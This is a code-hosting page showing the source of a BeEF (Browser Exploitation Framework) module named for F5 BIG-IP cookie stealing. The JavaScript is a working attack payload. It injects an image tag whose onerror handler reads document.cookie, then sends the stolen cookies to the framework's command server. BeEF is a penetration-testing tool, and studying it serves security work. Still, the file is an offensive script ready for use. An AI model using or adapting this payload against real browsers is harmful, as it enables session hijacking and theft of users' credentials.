Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/network/ADC/f5_bigip_cookie_stealing/command.js
1873 views
1
//
2
// Copyright (c) 2006-2026Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
beef.execute(function() {
8
var t = document.createElement('div');
9
t.id = 'test';
10
document.body.appendChild(t);
11
var g = document.createElement('script');
12
g.text = "document.getElementById(\"test\").innerHTML=\"<img src=1 onerror=result=document.cookie;>\""
13
t.appendChild(g);
14
setTimeout('beef.net.send(\'<%= @command_url %>\', <%= @command_id %>, result)', 2000)
15
});
16
17